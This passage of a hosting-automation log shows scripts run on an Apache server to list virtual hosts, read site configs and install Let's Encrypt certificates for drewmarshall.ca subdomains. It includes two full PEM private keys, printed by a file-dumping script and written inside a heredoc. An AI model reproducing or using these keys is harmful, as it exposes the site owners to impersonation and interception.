	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-05 06:00:12: 

chmod 755 /tmp/pkp614730; /tmp/pkp614730; rm /tmp/pkp614730

2025-11-05 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-05 06:00:12: Establishing a connection
2025-11-05 06:00:13: 

PUT: /tmp/pkp150802

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-05 06:00:13: 

chmod 755 /tmp/pkp150802; /tmp/pkp150802; rm /tmp/pkp150802

2025-11-05 06:00:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-05 06:00:13: 

PUT: /tmp/pkp766081

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-05 06:00:13: 

chmod 755 /tmp/pkp766081; /tmp/pkp766081; rm /tmp/pkp766081

2025-11-05 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf	1479

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-05 06:00:13: 

PUT: /tmp/pkp513480

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-05 06:00:13: 

chmod 755 /tmp/pkp513480; /tmp/pkp513480; rm /tmp/pkp513480

2025-11-05 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt	5394
4c:cc:26:f9:52:0e:f4:13:0a:9e:9a:93:2d:d9:6d:31

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBuNI4X3u1pb3zliSolNIhts1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTA1MDUwMTQxWhcNMjYwMjAzMDUwMTQwWjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC3rLNmdhYmgLUVqBURpwxA39WuPO9mNFxY+NqZ
bn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr4qD7ovp4HW5UEz0l9RfJxWVV
06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZwbFUG6z1ua6i8zkDsh2CWPt2
1aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgWsjMxeUfk5sF/5gVXkpeHo7rP
La8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Qn+5JukLMy+ukoWVthKA9L7GV
/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA/XbpOyijAgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDvkpZBHgpsUrrcL/cbn+9pm69quMB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTQuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGaUpnwYgAABAMARzBFAiApKDXsTSvNbVZ7bjDH
BXg2a3Oi2enOaIad9uNtbnYwGwIhAPxSUqkEG0yarx3TU8Ny5kwCOH8WBh8j15OC
oL4NMiQjAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGaUpnw
awAABAMARzBFAiBvCM6vUJdDjuILGI4NUC3hiC2iAHvb2Vy+dKM8Pp4yQwIhAPU8
jII8fKYwfk75TTd8YBqNULXuhPICkYGQkIXKJ5HbMA0GCSqGSIb3DQEBCwUAA4IB
AQBUZz+Te4ccg001b+Cr7JzlcltRObktxkhPuHAd1Kp9BmV2Dl00DhV9UY6qDiyK
a4fIWSHlKY0JcH03HzNWQUDuo3PyWYsu+n4B8ry44ha1JXnGFQH6JNcWQ+44HWPN
BCKQNDe3lFfQEO+QXqvsA7JuGLRlQtBfy/vWZFwonTtzs1Rr+YEy5McKTv/xkwBB
CdpRwwH2q5RtsfLpvAjRWFsTrsO7pDXS0EbCqWo3K8N60V3pZQWtMVR9rwTVa6pN
SCI53aVEUwWfaJHwUsooA1N2aFO64Qa71Nqy0DjaiNVrunsYB347d13ZCn0i5fh2
VfTiQZERXrcHE1ABAtlKP09h
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3rLNmdhYmgLUV
qBURpwxA39WuPO9mNFxY+NqZbn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr
4qD7ovp4HW5UEz0l9RfJxWVV06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZ
wbFUG6z1ua6i8zkDsh2CWPt21aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgW
sjMxeUfk5sF/5gVXkpeHo7rPLa8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Q
n+5JukLMy+ukoWVthKA9L7GV/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA
/XbpOyijAgMBAAECggEAQPyl7RbS94SKjcMO0VQdjcakwCVnPu4/zmseTTM+4w0l
K8oh9UBdv26SmBgG29WkKNFDpIe36KWzo7Nn6iDcJiujobO86vUxGX7yP8/GLfO0
bonQisIvTkiB4Zsk1blvoHcSv3cmdd2HaAWUTIIOTFMKazVLcvdOYZRCROWLMXmL
8jHUaWqC3btNPE+AJuU0NEEGR2/7kjJ8RMjjGkY/ewp295TZQPsSNZf6vgq3rDUA
kwxAxcsKbifrlwy9TP+99ymIcTYXhiOag1j8izLEChhk8tqYhVtZmSmKZbO+zI5A
9I9Gm6YoA2FSPfjSgeHdLJLUAzhKJqVgxZMorlwUgQKBgQDwmETFAuwFAjpRz56J
sE/SAnPvqa7MDmuYRCI/NdzHxm0v3z6SH2JP54npGqGK7/UN8r0wDenRnFwgRkqN
6R1/20hYzCIjmDjwuTzWN+6RqbHy0QduoTLo+YmwxkIajQoEb9zDufF5CFqnayWV
AOhul/jHfCl+HPrL9EiKoLIKMwKBgQDDb2t2CQ2FLydkOKnACOlDhh7B19FCOeCa
oLx35nzRXFKYzZyfGFhXsUyk/gPMXg6M/2Tr/Nf4Qxmak+k30R9PfzSKEhNIBLOu
Z/bE0w0DnrPiAPWmEp/kWMRNZQRFF3JGjgtcRu1Y4ycONpLp5LGFcYrcYMGB8dcL
PjCMWXDX0QKBgQCH7V8c9zOk+Mc+JVBqdeQCwEQD6RfKTXNYSVYX5DRh4acaXsQZ
BgYjIqr1uYf+2ObYBIYCOjoZpH8f9NZ2KnfyHk9Xa6z18zBoQB8w39S3EupoRtQu
GoCKw0CZUMlT+s7oBtLw+YKFYMTmxVAsSKEIqm9xNKK0j2baB59cQsGTpQKBgEkK
IiJJ/diRp+on1yEi83K99E7Dxrw2fz+q5OT2qh1goKnk5iz7X0DezWM4X9kIKe3+
IQylQV3STgZcUyP+LvJ5+vvDB5u5ziFXT3191vZMYLQNYcFAYqtnlW3LXA4qVhYS
TiKdi2TV+CmysbNiOgpCRgBY1NkothLImkJJxweRAoGBALmvYqS1WtEiqljL2fHj
jIWJX12FOq6s011ul5v5TEKFaRHAEnENoBYYr94NfqfeGjeu6XuEjbNduTCMhB2q
jaOvXvWK95FIOlId0tB/Web0f7FfC4c4fuZfkB9ZzDNIfmerPCfI2LnTFKSccmfv
M7S6eygoHBKkF9LrEe3s1eJI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-05 06:00:13: Establishing a connection
2025-11-05 06:00:13: Establishing a connection
2025-11-05 06:00:14: 

PUT: /tmp/pkp277151

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-05 06:00:14: 

chmod 755 /tmp/pkp277151; /tmp/pkp277151; rm /tmp/pkp277151

2025-11-05 06:00:14: 


1


2025-11-05 06:00:14: Establishing a connection
2025-11-05 06:00:14: 

PUT: /tmp/pkp586363

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI


2025-11-05 06:00:14: 

chmod 755 /tmp/pkp586363; /tmp/pkp586363; rm /tmp/pkp586363

2025-11-05 06:00:14: 




2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:22: 

PUT: /tmp/pkp887395

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI


2025-11-05 06:00:22: 

chmod 755 /tmp/pkp887395; /tmp/pkp887395; rm /tmp/pkp887395

2025-11-05 06:00:22: 




2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:22: 

PUT: /tmp/pkp730294

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
8d:3d:23:9f:b0:68:77:af:b8:57:f4:60:50:73:91:58

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBr8bBZFQkODvD4ZNh+toq5ruMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTA1MDUwMTQ5WhcNMjYwMjAzMDUwMTQ4WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAzHp0ySoLfzsIpWOUQOQtmXPdthQ63pPiL89YNpWHc5gS
nTUF1gyMqWU0tdmG5olCmyNR3/5Jhvp+zuQBqGDintOEwfgjq8BCz1EPaXKMX9ZX
A6ycnSieNlIdf5ynKjjqoOahSsVrvvGp/urmd4ibhH36PDa6d3SM4R7mhmGufXHL
7feTuv4/wkU0hK8DQazRgf2lPD44Gg2pMkBRnO9lzw4ML+FJf9CKtvhY4nx4iCfv
XzO386LiBoLkOT95PCPqM9Cm8xjZnKFDaisxXwlsktL2ESmdtuNr6Pp+wh1e3eeA
eo2Zu8K20Z/Zo1PKhQSh1iumMC8a+c9sp0yCasPjOQIDAQABo4ICLjCCAiowDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQ6ujxPylAnFVvDGLaJi6TVfC05xDAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTEuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGaUpoQQAAABAMASDBGAiEA95TXwtfp0hGFxJjpuZFUo+GygDxC
CFDlZS9ve2rSO20CIQDRgA+03NnSlLjpJlthZtA1OhWnKYHtM5W73hztgbxzpQB2
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmlKaF8IAAAQDAEcw
RQIgDQnchpaxPamnPzOvMF+UW7vxlcfxsv9USaVoQ6QjzR4CIQDDLdSJFU4cR83i
pji8b1RSLQ9OpYJhnrm19G+TbYcs0jANBgkqhkiG9w0BAQsFAAOCAQEABOHWkeT/
ZrgZw5Rt0QSy+/X7w0P8I9niH2LBIMFO4+g4BQDZqgbDHxwhWR32Vli7VnEGcq/k
XtqrAgCzxlXavmnKYmu5CfMi6MGYBlxRnUzM/sFw/GNUkGbIUH2DeK4aCO5LMFIR
XWwJ+u6SS3o3RhIhvG/YVMlpxXrzX3TQ5USDLPdSYCC+ytYWlTHgDBa7HgIlvQgw
Top1Lu+g8cGbJJp7WBqFHGkSWJyXU/FPpL1NETtlPagi/QaIyK3tXSmuRQ30RsRw
Gb5OTZETs2V5WKDj9xza8aJW+5hZfGmGuy2YWIUK+JDfLMWWPNo1/ReR9NF6/y65
BEs71iL9J434oA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDMenTJKgt/Owil
Y5RA5C2Zc922FDrek+Ivz1g2lYdzmBKdNQXWDIypZTS12YbmiUKbI1Hf/kmG+n7O
5AGoYOKe04TB+COrwELPUQ9pcoxf1lcDrJydKJ42Uh1/nKcqOOqg5qFKxWu+8an+
6uZ3iJuEffo8Nrp3dIzhHuaGYa59ccvt95O6/j/CRTSErwNBrNGB/aU8PjgaDaky
QFGc72XPDgwv4Ul/0Iq2+FjifHiIJ+9fM7fzouIGguQ5P3k8I+oz0KbzGNmcoUNq
KzFfCWyS0vYRKZ2242vo+n7CHV7d54B6jZm7wrbRn9mjU8qFBKHWK6YwLxr5z2yn
TIJqw+M5AgMBAAECggEBAJih7/sZP2vBjTqnkkq+CKu7KYx4nVj32qcFhzt3cpx+
r6ZZpfmZdIYd3bLApUoAu49CViN1lT0ETxPwbqxZZdBY44hGyZmy8iv+vhpgPxhq
zpkXh/BoGXFC6nIPZVjHE5z3iv5dT4hArDx064PenPfRcbDwyU/R2DdS8ZDt6WoI
6ULu/d/ufqWvLBEygY47wV6kjj4lg9vJbzhPJOAoypKl+zBrZKGgdCAP/VV/43CJ
b5UuG7rf+X/GWUN/arwY3BxM6w9y9dKmuC9mdA2LCrisApnZuDXfxzoZcWLpKEne
GPIQyP/C9iaI0jSn88A1oOy83Qk6yqBcjG108MX8YWECgYEA9odbu6AmnAF2jqKs
xBBPF/nzULLrfXVXql4RDiVQ409EZIUdxBUsZ93e5QvHJnPeLUcb4UMcsRteztab
0VbDMaMdQQRm4AxoSG6kWpEQZczygXyG0MXfBPXMN+BDQSqFlBsxXheK4eBPegk+
cjBClXwI3PZJYawWByRigEtRvIsCgYEA1FWG3a2t6I5fR6T6Z2DwIEuu1MtdhQIq
h6HUmatgKNmKs9Do1nCEdOY5KEluUFxPnllp2JF7vnaCBYJTtE+xuivCuU2co2tQ
/uLADKm5GSx+JBY5oHEfNeALmFPLEevIOZHBfJHxzcao3uHpQoTaUtbRuj+s74sP
RuXqemIxQ8sCgYEA60+6PLYaBFDVNEKMO70BcfZPzBhr9N17Zw/Qobr2oXG462Ww
SsiXETFTHzeFyOtSB8/XCcYAbgCdFzr7ke6J9CgotTWZaIQPSgvp7tSGXVUpqHUP
TdmBDX/8hN0X9Oy8gekOzywTkZSE6AxIwb/U3lB9OUQQOR2EDR8qsiCyjQ8CgYEA
yP6Q5MTkS7CBptsXocZUZ+3ceFhtlVugkLVy/2gHZYPP1TlbPqpR6CqKToV8JBvN
zlJLbJMCtR+PItHklFmgHmAQOsKqFNOgXzabnyEGMzs3yMc1E5gheCk2MKKZJsSv
yzcbFeU9JJH6BsmIucvystngu9JMzJAxDObVF7ZddhMCgYEAuQDV2q95yysDj2p1
iX1wPy0RPs3DcC5gl1kXHnVWAYpX/2744NlrnW6o4nRvaxhIgZbfsGuxClTGOvIs
UlJjclCVJSlk/QxUEmy5jOg5mE0WgQHtx8k4I5ij7LDqVGSX2f2AfqBfGgjesfo9
ahgPEQXrfe7iwhuhgVGmvebWDTY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
